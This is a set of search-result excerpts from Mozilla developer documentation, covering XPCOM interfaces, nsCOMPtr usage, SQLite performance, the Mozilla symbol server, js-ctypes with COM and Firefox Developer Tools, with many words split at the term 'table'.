table layout, which can happen when the compiler changes its abi. for example, in 2002 the gnu compiler collection (gcc), version 3.2 changed the c++ abi, and this caused problems between libraries compiled with gcc 3.2 and applications compiled with an earlier version and vice versa. similar problems occurred with gcc 4.0, which underwent similar abi changes. before attempting to use unfrozen interf...
Preface
n c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. also many of the examples are in javascript, which is used in mozilla to access xpcom components as scrip
table objects, and so familiarity with that language is useful as well. xpcom stands for the cross platform component object model. as this name implies, xpcom is similar to microsoft com. if you have any experience with this technology, much of it can be applied to xpcom. however, this book does not assume any prior knowledge of com - all of the basic com ideas will be introduced. this book provides...
...ed to web browsing, xpcom's main client is gecko, an open source, standards compliant, embeddable web browser, where it's easiest and most practical to illustrate xpcom's functionality. a full description of the component in this tutorial can be found in the what we'll be working on section of the tutorial. despite what old documentation says, xpcom should not be used to make npapi plugins scrip
table. starting with gecko 1.7.5 (firefox 1.0) a special npapi extension for scriptability is supported, see scripting plugins. organization of the tutorial the following list provides an overview of the steps that we will take to build an xpcom component called weblock, which provides site blocking functionality to gecko-based browsers. each one of these steps has its own chapter, in which a number...
...ectories appear in monospaced font. italic variables appear in italic. important terms and new concepts are also italicized the first time they appear in the text. those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail. link references to other sections and to figures and
tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaunt, ellen evans, and alec flett for technical reviews. a special thanks goes to darin fisher for his very acute observations, close reading, and attention to detail. next » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions...
nsDependentCString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use. ...
... methods constructors nsdependentcstring(const char*, const char*) - source parameters char* start a pointer to the start of the string. must not be null. char* end a pointer to the string's null terminator. must not be null. nsdependentcstring(const char*, pruint32) - source parameters char* da...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsDependentString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use. ...
... methods constructors void nsdependentstring(const prunichar*, const prunichar*) - source constructors parameters prunichar* start prunichar* end void nsdependentstring(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void nsdependentstring(const prunichar*...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescriptor.idlscrip
table this interface provides a cache entry descriptor. inherits from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode get ...
... access can doom the cache entry and choose to fail pending requests. this means that pending requests will not get a cache descriptor. this is meant as a tool for clients that wish to instruct pending requests to skip the cache. void doomandfailpendingrequests( in nsresult status ); parameters status the access status. getmetadataelement() this method retrieves the meta data. meta data is a
table of key/value string pairs. the strings do not have to conform to any particular charset, but they must be null terminated. string getmetadataelement( in string key ); parameters key the key for retrieving the meta data. return value returns the string value containing the meta data for the provided key. markvalid() this method means that a writer must validate this cache object before any re...
...nsigned long size ); parameters size the cache entry data size. setexpirationtime() this method sets the time at which the cache entry should be considered invalid (in seconds since the epoch). void setexpirationtime( in pruint32 expirationtime ); parameters expirationtime the time for cache entry expiration (in seconds). setmetadataelement() this method sets the meta data. meta data is a
table of key/value string pairs. the strings do not have to conform to any particular charset, but they must be null terminated. void setmetadataelement( in string key, in string value ); parameters key the key for setting the meta data. value the value for setting the meta data. visitmetadata() this method means that the visitor will be called with key/value pair for each meta data element. voi...
nsIContentSniffer
components implementing this interface can determine a mime type from a chunk of bytes. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-content-sniffers category. see netwerk/build/nsnetcid.h about ns_content_sniffer_category. method overview acstring getmimetypefromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetypefromcontent() given a chunk of data, determines a mime type. information from the given request may be used in order to make a better decision. ...
...mple how to read content from adata. ...
..."; try { // this pref has been removed, see bug 910192 charset = services.prefs.getcomplexvalue("intl.charset.default", ci.nsipreflocalizedstring).data; } catch (e) { } let conv = cc["@mozilla.org/intl/scrip
tableunicodeconverter"] .createinstance(ci.nsiscrip
tableunicodeconverter); conv.charset = charset; try { let str = conv.convertfrombytearray(adata, alength); if (str.substring(0, 5) == "%pdf-") return "application/pdf"; // we detected a pdf file } catch (e) { // try to get information from arequest } ...
nsICryptoHash
you can, for example, calculate the sha256 hash of a file to determine if it contains the data you think it does. the hash algorithms supported are md2, md5, sha-1, sha-256, sha-384, and sha-512. ...
... returns the hash as a base 64 encoded string. in this example we take the binary data and produce a hexadecimal string of the result, as is commonly output by hashing programs. computing the hash of a string another common operation is computing the hash value of a string. since hash functions are computed over bytes, you will first need to convert the string to a series of bytes using nsiscrip
tableunicodeconverter and a unicode encoding that you specify. note: different encodings will produce different hash values! you should always use the same encoding if you intend to compare results. the example below shows how to convert a string to bytes in the utf-8 encoding, and then compute the sha256 hash of it. the result is computed as a hex string as in the previous example. in this example,...
...nvert a string to bytes in the utf-8 encoding, and then compute the sha256 hash of it. the result is computed as a hex string as in the previous example. in this example, we use the update() method to pass an array of bytes to be hashed. as in the previous example, we convert the binary result to a hex string. var str = "hello world"; var converter = components.classes["@mozilla.org/intl/scrip
tableunicodeconverter"]. createinstance(components.interfaces.nsiscrip
tableunicodeconverter); // we use utf-8 here, you can choose other encodings. converter.charset = "utf-8"; // result is an out parameter, // result.value will contain the array length var result = {}; // data is an array of bytes var data = converter.converttobytearray(str, result); var ch = components.classes["@mozilla.org/secu...
nsIEffectiveTLDService
it can also determine the base domain of a uri. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-service;1. ...
...ost_is_ip_address this exception is thrown if auri is a numeric ipv4 or ipv6 address. ns_error_unexpected or other error returned by nsiidnservice.normalize() when the hostname contains characters disallowed in uris. getbasedomainfromhost() returns the base domain of a host string. otherwise identical to getbasedomain(). note: it is strongly recommended that you use getbasedomain() if a sui
table nsiuri is available. only use this method if this is not the case. acstring getbasedomainfromhost( in autf8string ahost, in pruint32 aadditionalparts optional ); parameters ahost the host string to be analyzed. aadditionalparts optional the number of domain name parts to be returned in addition to the public suffix. return value an acstring containing the base domain (public suff...
...ost_is_ip_address this exception is thrown if auri is a numeric ipv4 or ipv6 address. ns_error_unexpected or other error returned by nsiidnservice.normalize() when the hostname contains characters disallowed in uris. getpublicsuffixfromhost() returns the public suffix of a host string. otherwise identical to getpublicsuffix(). note: it is strongly recommended to use getbasedomain() if a sui
table nsiuri is available. only use this method if this is not the case. acstring getpublicsuffixfromhost( in autf8string ahost ); parameters ahost the host string to be analyzed. return value an acstring containing the public suffix. exceptions thrown ns_error_invalid_arg this exception is thrown if ahost is empty. ns_error_unexpected this exception originates in the normalize() met...
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscrip
table this interface represents a single atom or rss (really simple syndication) news feed. it includes attributes that provide information about the feed, as well as access to the items or entries in the feed. 1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwri
tablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedgener...
... items nsiarray specifies an array of the items or entries on the feed. skipdays nsiarray an array of days of the week on which the feed should not be fetched. each entry in the array is the name of one day of the week to skip. ...
...he hours of the day during which the feed should not be fetched. the hours are represented as integer values from 0 (midnight) to 23 (11:00 pm), and are always indicated using utc. note: this field is rarely implemented. subtitle nsifeedtextconstruct returns a subtitle for the feed, based on its description, subtitle, and appropriate extensions. textinput nsiwri
tablepropertybag2 information about a text box that can be displayed along with the feed by aggregators that support it, to allow the reader to send a response back to the source of the feed. note: this field is almost never used, and is incompatible with many aggregators. type unsigned long indicates the type of content presented by a feed. see constants. note: you shou...
nsIHTMLEditor
editor/idl/nsihtmleditor.idlscrip
table please add a summary to this article. inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring a...
...nclass attribute. aiscreatedhidden a boolean specifying if the class "hidden" is to be added to the created anonymous element. return value a dom element. createelementwithdefaults() return a new element with default attribute values. this does not rely on the selection, and is not sensitive to context. used primarily to supply new element for various insert element dialogs (image, link,
table, and horizontalrule are the only returned elements as of 9/12/18); namedanchor was removed in firefox 63. nsidomelement createelementwithdefaults( in astring atagname ); parameters atagname the html tagname. special input value for links: use "href" to get a link node (an "a" tag with the "href" attribute set) return value the new element created. decreasefontsize() decrease font si...
... font face is in the selection. astring getbackgroundcolorstate( out boolean amixed ); parameters amixed true if there is more than one font color. return value color string. "" is returned for none. getelementorparentbytagname() return the input node or a parent matching the given atagname, starting the search at the supplied node. an example of use is for testing if a node is in a
table cell given a selection anchor node. nsidomelement getelementorparentbytagname( in astring atagname, in nsidomnode anode ); parameters atagname the html tagname special input values: use "href" to get a link node (an "a" tag with the "href" attribute set) use "list" to get an ol, ul, or dl list node use "td" to get either a td or th cell node. anode the node in the document to start t...
nsIJumpListBuilder
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied. modifying an applied jump list is not permitted. callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. ...
... array of nsiwinjumplistitems representing items such as shortcuts, links, and separators. see nsijumplistitem for information on adding additional jump list types. method overview void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarray items optional, in astring catname optional); boolean commitlistbuild(); boolean deleteactivelist(); boolean initlistbuild(in nsimu
tablearray removeditems); attributes attribute type description available short indicates whether jump list taskbar features are supported by the current host. read only. islistcommitted boolean jumplist management. indicates if a commit has already occurred in this session. read only. exceptions thrown ns_error_not_available on all calls if taskbar functionality is not supported by the ope...
.... return value true if the operation completed successfully. exceptions thrown ns_error_unexpected on internal errors. initlistbuild() initializes a jump list build and returns a list of items the user removed since the last time a jump list was committed. removed items can become state after initlistbuild is called, lists should be built in single-shot fashion. boolean initlistbuild( in nsimu
tablearray removeditems ); parameters removeditems a list of items that were removed by the user since the last commit. return value true if the operation completed successfully. ...
nsIMsgCustomColumnHandler
the nsimsgcustomcolumnhandler interface allows you to create custom handlers for columns. it can be used in the thunderbird threadpane for extensions to overlay their own columns. mailnews/base/public/nsimsgcustomcolumnhandler.idlscrip
table please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial. ...
...e please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial. the interface inherits from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods. you must implement: nsitreeview.isedi
table() nsitreeview.getcellproperties() nsitreeview.getimagesrc() nsitreeview.getcelltext() nsitreeview.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties() from c++ you must implement all of nsitreeview and nsimsgcustomcolumnhandler. example implementation an exampl...
...elltext() nsitreeview.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties() from c++ you must implement all of nsitreeview and nsimsgcustomcolumnhandler. ...
nsISelection
implemented by: ?????????????????????????????????????. ...
...long returns the number of ranges in the selection. read only. methods addrange() adds a nsidomrange to the current selection. void addrange( in nsidomrange range ); parameters range the nsidomrange to add collapse() collapses the selection to a single point, at the specified offset in the given nsidomnode. when the selection is collapsed(), and the content is focused and edi
table, the caret will blink there. void collapse( in nsidomnode parentnode, in long offset ); parameters parentnode the given nsidomnode where the selection will be set. offset where in the given dom node to place the selection (the offset into the given node). collapsed() [noscript,notxpcom,nostdcall] boolean collapsed(); native code only!collapsenative void collapsenative( ...
...ction (the offset into the given node). collapsed() [noscript,notxpcom,nostdcall] boolean collapsed(); native code only!collapsenative void collapsenative( in nsinode parentnode, in long offset ); parameters parentnode offset collapsetoend() collapses the whole selection to a single point at the end of the current selection (regardless of direction). if content is focused and edi
table, the caret will blink there. void collapsetoend(); parameters none collapsetostart() collapses the whole selection to a single point at the start of the current selection (regardless of direction). if content is focused and edi
table, the caret will blink there. void collapsetostart(); containsnode() indicates whether the nsidomnode is part of the selection. if partlycontained is set to pr_true,...
nsITreeBoxObject
the nsitreeboxobject interface contains information about the size and layout of a tree. further information about trees is given in the xul tutorial. /layout/xul/base/src/tree/public/nsitreeboxobject.idlscrip
table please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); ...
...rowcountchanged(in long index, in long count); void beginupdatebatch(); void endupdatebatch(); void clearstyleandimagecaches(); attributes attribute type description columns nsitreecolumns readonly: obtain the columns. view nsitreeview the view that backs the tree and that supplies it with its data. it is dynamically set
table, either using a view attribute on the tree tag or by setting this attribute to a new value. focused boolean whether or not we are currently focused. treebody nsidomelement readonly: obtain the treebody content node. this is a node that corresponds to the treechildren tag. rowheight long readonly: obtain the height of a row. rowwidth long ...
...eebody nsidomelement readonly: obtain the treebody content node. this is a node that corresponds to the treechildren tag. rowheight long readonly: obtain the height of a row. rowwidth long readonly: obtain the width of a row. horizontalposition long readonly: get the pixel position of the horizontal scrollbar. selectionregion nsiscrip
tableregion readonly: return the region for the visible parts of the selection, in device pixels. methods getfirstvisiblerow() get the index of the first visible row. long getfirstvisiblerow(); getlastvisiblerow() get the index of the last visible row. long getlastvisiblerow(); getpagelength() gets the number of possible visible rows. long getpagelength(); ensurerowisvisible() ensures th...
Performance
ment to see the plan. for example, explain select * from moz_history; the results are hard to understand, but you should be able to see whether it is using indices. a command that will give you a higher level overview is "explain query plan". for example sqlite> explain query plan select * from moz_historyvisit v join moz_history h on v.page_id = h.id where v.visit_date > 1000000000; 0|0|
table moz_historyvisit as v with index moz_historyvisit_dateindex 1|1|
table moz_history as h using primary key this tells us that it will first look up in moz_historyvisit using an index, and will then look up in moz_history using the primary key. both of these are "good" because they use indices and primary keys, which are fast. sqlite> explain query plan select * from moz_historyvisit where session =...
...you can download the command line tool from the sqlite download page. be sure you have a version of the command line tool that is at least as recent as what mozilla uses. ...
...m cache size to be a percentage of memory in nsnavhistory::initdb in toolkit/components/places/src/nsnavhistory.cpp. sharding the cache between connections by default, storage enables the sqlite shared-cache mode which makes multiple connections to the same database share the same cache. the cache is threadsafe. all you need to do is use services.storage.opendatabase(file). some features (virtual
tables, full text indexes) are not compatible with shared cache - then you need to use services.storage.openunshareddatabase(file), which doesn't share the cache. see mozistorageservice.opendatabase(). disk writes sqlite provides the basic acid rules of database theory: atomicity: each transaction is atomic and cannot be "partially" committed. consistency: the database won't get corrupted. isola...
Getting Started Guide
ume the value was not addrefed. actually the contradictions run deeper than that. all these cases show that automatically addrefing on `output' makes nscomptrs and raw-pointers act differently from the point of view of the clients. the goal is to make them act the same so that nscomptrs can be a drop in replacement (modulo managing its own `ownership'). given what you now know, the rule is predic
table. as described above, and unless you tell it otherwise, an nscomptr addrefs when you assign in to it. it does nothing when you assign out of it. where should i use nscomptrs? you should use an nscomptr any place you use an interface pointer as an owning reference, i.e., where you call addref and release on it. you should use nscomptr as a member variable, where it will simplify setters, and elim...
...d c code; nscomptrs are, of course, a c++ only construct. never cast an nscomptr, it's almost guaranteed to leak. nscomptrs for non-interface classes appropriately formatted answer to come, in the meanwhile, the full details are available in this news posting (via google groups). nscomptrs in function signatures in general, you won't want to use nscomptr in the signature of xpcom (i.e., `scrip
table') functions. nscomptr is not currently directly supported by idl. however, you may sometime be tempted to use an nscomptr in a non-scrip
table function. nscomptr<t> f() don't return an nscomptr this practice is dangerous. returning an addrefed pointer in almost any form as a function result leads to several potential errors, some of which are leaks, some of which are dangling pointers. returning...
...se harmful, and has the same impact as passing an nscomptr by value if the caller only supplied a raw pointer. void f( nscomptr<t>* ) avoid passing an nscomptr by address, if possible this practice requires callers to have an nscomptr, and requires them to do a little extra work, as operator& for nscomptrs is private (to help prevent leaks caused by casting; also see bug 59414). this is an accep
table way to declare `in/out' parameters, but prefer passing nscomptrs by reference, as below. // passing an |nscomptr| by pointer requires extra work... void f( nscomptr<nsifoo>* ); // ... nscomptr<nsifoo> myfoo = ...; f( address_of(myfoo) ); void f( nscomptr<t>& ) do pass an nscomptr by reference for `in/out' parameters this is the prefered scheme for providing `in/out'...
Using tab-modal prompts
mpt defaults to using window-modal prompts. you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwri
tablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window. even if you set it to the browser window ("var thewindow = window") the modal alert will be shown in the current tab. from then on, you can use the nsiprompt object, prompt, as usual. for example: var factory = components.classes["@mozilla.org/prompter;1"] .getservice(component...
...") the modal alert will be shown in the current tab. from then on, you can use the nsiprompt object, prompt, as usual. ...
...ee the example code. ...
Using the Mozilla symbol server
replace c:\users\bsmedberg\symbols with an appropriate cache directory on your machine. using the symbol server in microsoft visual c++ using the symbol server in windbg the windbg symbol path is configured with a string value delimited with asterisk characters. to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any wri
table directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command. if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any w...
...irectory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command. if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any wri
table directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows. the command should look like this (again, you can replace...
...r, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows. the command should look like this (again, you can replace c:\symcache\ with any wri
table directory on your computer, if you'd prefer a different location for downloaded symbols): c:\program files\mozilla firefox>c:\progra~1\debugg~1\symchk.exe /r c:\progra~1\mozill~1\* /s srv*c:\symcache\*https://symbols.mozilla.org/ note the \* after the mozilla directory. the output of this command should be similar to: symchk: fullsoft.dll failed - image is split correctly, but fullso...
Zombie compartments
1.03 mb (00.21%) -- scripts │ │ │ │ │ ├──0.72 mb (00.14%) ── gc-heap [2] │ │ │ │ │ └──0.31 mb (00.06%) ── malloc-heap/data [2] │ │ │ │ ├──0.80 mb (00.16%) -- type-inference │ │ │ │ │ ├──0.66 mb (00.13%) ── type-scripts [2] │ │ │ │ │ ├──0.13 mb (00.03%) ── allocation-site-
tables [2] │ │ │ │ │ └──0.02 mb (00.00%) ── object-type-
tables [2] │ │ │ │ └──0.01 mb (00.00%) -- sundries │ │ │ │ ├──0.01 mb (00.00%) ── malloc-heap [2] │ │ │ │ └──0.00 mb (00.00%) ── gc-heap [2] │ │ │ └───5.83 mb (01.17%) -- (4 tiny) │ │ │ ├──4.19 mb (00.84%) ++ l...
...(00.00%) ── malloc-heap [2] │ │ │ │ └──0.00 mb (00.00%) ── gc-heap [2] │ │ │ └───5.83 mb (01.17%) -- (4 tiny) │ │ │ ├──4.19 mb (00.84%) ++ layout │ │ │ ├──1.03 mb (00.21%) ── style-sheets [2] │ │ │ ├──0.60 mb (00.12%) ++ dom │ │ │ └──0.01 mb (00.00%) ── property-
tables [2] │ │ ├───8.86 mb (01.78%) -- cached/window(https://www.google.de/?gws_rd=ssl) │ │ │ ├──4.23 mb (00.85%) -- layout │ │ │ │ ├──3.80 mb (00.76%) ── style-sets │ │ │ │ ├──0.29 mb (00.06%) ── pres-shell │ │ │ │ ├──0.05 mb (00.01%) ── rule-nodes │ │ │ │ ├──0.04 mb (00.01%) ─...
... -- dom │ │ │ │ ├──0.17 mb (00.04%) ── text-nodes │ │ │ │ ├──0.13 mb (00.03%) ── element-nodes │ │ │ │ ├──0.02 mb (00.00%) ── other │ │ │ │ ├──0.01 mb (00.00%) ── orphan-nodes │ │ │ │ └──0.00 mb (00.00%) ── event-targets │ │ │ └──0.00 mb (00.00%) ── property-
tables │ │ └───5.93 mb (01.19%) -- js-zone(0x13ffa0000) │ │ ├──1.92 mb (00.39%) ── unused-gc-things │ │ ├──1.28 mb (00.26%) -- lazy-scripts │ │ │ ├──1.03 mb (00.21%) ── gc-heap │ │ │ └──0.25 mb (00.05%) ── malloc-heap │ │ ├──1.24 mb (00.25%) ── type-pool │ │ ├──1.07...
Using COM from js-ctypes
ith js-ctypes. this documentaion explains how to convert the com c++ code into js-ctypes code. basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ v
table pointers in c. after that, we can pass a pointer . speech synthesis example let's start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait until the speaking done. #include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { ispvoice* pvoice = null; hresult hr = cocreateinstance(clsid_s...
...hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio). $ cl ole32.lib test.cpp v
table needs v
table description here. the order of the v
table is very critical. when used from c or js-ctypes, the order of the v
table methods should match the order of the c++ v
table. __stdcall and __cdecl needs __stdcall and __cdecl (callback_abi) description here. call by reference needs c++ reference (&) and c pointer (*) description here. converted c code now we can translate whole co...
...st work i couldnt find a proper defintion for it let lpunknown = ctypes.voidptr_t; // structures // simple structures let guid = ctypes.structtype('guid', [ { 'data1': ulong }, { 'data2': ushort }, { 'data3': ushort }, { 'data4': byte.array(8) } ]); // advanced structures let clsid = guid; let iid = guid; // super advanced structures let refiid = iid.ptr; let refclsid = clsid.ptr; // v
tables let ispvoicevtbl = ctypes.structtype('ispvoicevtbl'); let ispvoice = ctypes.structtype('ispvoice', [{ 'lpvtbl': ispvoicevtbl.ptr }]); ispvoicevtbl.define([ // start inherit from iunknown { 'queryinterface': ctypes.voidptr_t }, { 'addref': ctypes.voidptr_t }, { 'release': ctypes.functiontype(callback_abi, ulong, // return [ ispvoice.ptr ...
Mozilla
views are one component of the places model-view-controller design. use them to display nsinavhistoryresult objects to the user. see querying places for information about obtaining and using nsinavhistoryresult objects, which this page assumes you are familiar with. error codes returned by mozilla apis the following
tables list errors that can occur when calling various mozilla apis. each error is listed by its name and an error code in parentheses. an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript. these constants can be accessed through components.results. for example, by using components.results.ns_error_not_initialized ...
...ebsites visited and browser configuration is stored in relational databases in sqlite used by firefox. the sqlite manager add-on allows convenient browsing of this information. (install the sqlite mangager add-on, click tools -> sqlite manager. in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the
tables listed in the left column and see the current contents of the database in the 'browse & search' tab.) gecko gecko is the name of the layout engine developed by the mozilla project. it was originally named nglayout. gecko's function is to render web content, such as html, css, xul, javascript, and render it on the user's scree...
...se where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special. all the methods that are supposed to show up on this jsobject are actually not properties of the object itself, but rather properties of the prototype of the jsobject for the wrapper (unless the c++ object's class info has the flag nsixpcscrip
table::dont_share_prototype set, but lets assume that's not the case here). js-ctypes js-ctypes allows application and extension code to call back and forth to native code written in c. c++ support is possible through v
table pointers see using com from js-ctypes. for a discussion on extended c++ support see bug 505907. other work made pos...
Accessibility Inspector - Firefox Developer Tools
indexinparent — an index value indicating what number child the item is, inside its parent. if the item is the first item inside its parent, it has a value of 0. if it is the second, it has a value of 1. and so on. states — a list of the different accessibility-relevant states that can apply to the current item. for example, one of the links in one demo has states of focusable, linked, selec
table text, opaque, enabled, and sensitive. for a full list of internal states, see gecko states. relations — a list of the accessiblity-relevant relationships between this item and other items. for example, in a form, an entry item could have a "labelled by" relation with a label item, which in turn has a "label for" relation to the entry item. attributes — a list of all the accessibility-releva...
... checks subpanel as you browse the tree. the check for issues menuitems are a quick way to view all and only those items that have issues. simulate the accessibility inspector offers (as of firefox 70), a simulator that lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. ...
...trast is not sufficient, readers with visual impairments such as low vision or color blindness will be unable to read the text. see color contrast for details about recommended contrast ratios. for example: the color contrast in the image above is 2.86, so potentially not enough contrast to make it easy to read. notice the warning symbol that indicates that the contrast fails to meet the accep
table contrast ratio. as of firefox 65, viewing this information for some foreground text that has a complex background image (e.g. a gradient) gives you a range of color contrast values. for example: in this example, the contrast ranges from 4.72 to 5.98. the numbers are followed by aaa and a checkmark in green, indicating that the large text has a contrast ratio of 4.5:1 or more, meeting the crit...
Responsive Design Mode - Firefox Developer Tools
the most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch. responsive design mode gives you a simple way to simulate these factors, to test how your website will look and behave on different devices. ...
...e you want. orientation (portrait or landscape) - this setting persists between sessions screenshots are saved to firefox's default download location. if you checked "screenshot to clipboard" in the developer tools settings page, then the screenshot will be copied to the system clipboard. dpr (pixel ratio) - beginning with firefox 68, the dpr is no longer edi
table; create a custom device in order to change the dpr throttling - a drop-down list where you can select the connection throttling to apply, for example 2g, 3g, or lte enable/disable touch simulation - toggles whether or not responsive design mode simulates touch events. while touch event simulation is enabled, mouse events are translated into touch events; this includes (starting in firefox 79) t...
...you do all your development and testing using a very fast network connection, users may experience problems with your site if they are using a slower connection. in responsive design mode, you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks. the characteristics emulated are: download speed upload speed minimum latency the
table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions. selection download speed upload speed minimum latency (ms) gprs 50 kb/s 20 kb/s 500 regular 2g 250 kb/s 50 kb/s 300 ...
IndexedDB - Firefox Developer Tools
when you select an origin inside the indexed db storage type in the storage tree of the storage inspector, a
table lists the details of all the databases present for that origin. note: the data shown in an indexeddb database is a snapshot of the data as it was when you opened the storage inspector tool. databases have the following details: database name — the name of the database. storage — the storage type specified for the database. origin — the origin of the database. version — the database version. object stores — the number of object stores in the database. when an indexeddb database is selected in the storage tree, details about all the object stores are listed in the
table. any object store has the following details: object store name — the name of the objec...
...object store has the following details: object store name — the name of the object store. key — the keypath property of the object store. auto increment — is automatic incrementation of the keys enabled? indexes — array of indexes present in the object store as shown below. when an object store is selected in the storage tree, all the items in that object store are listed in the
table. ...
...tems in that object store are listed in the
table. all items have a key and a value associated with them. ...
BluetoothCharacteristicProperties - Web APIs
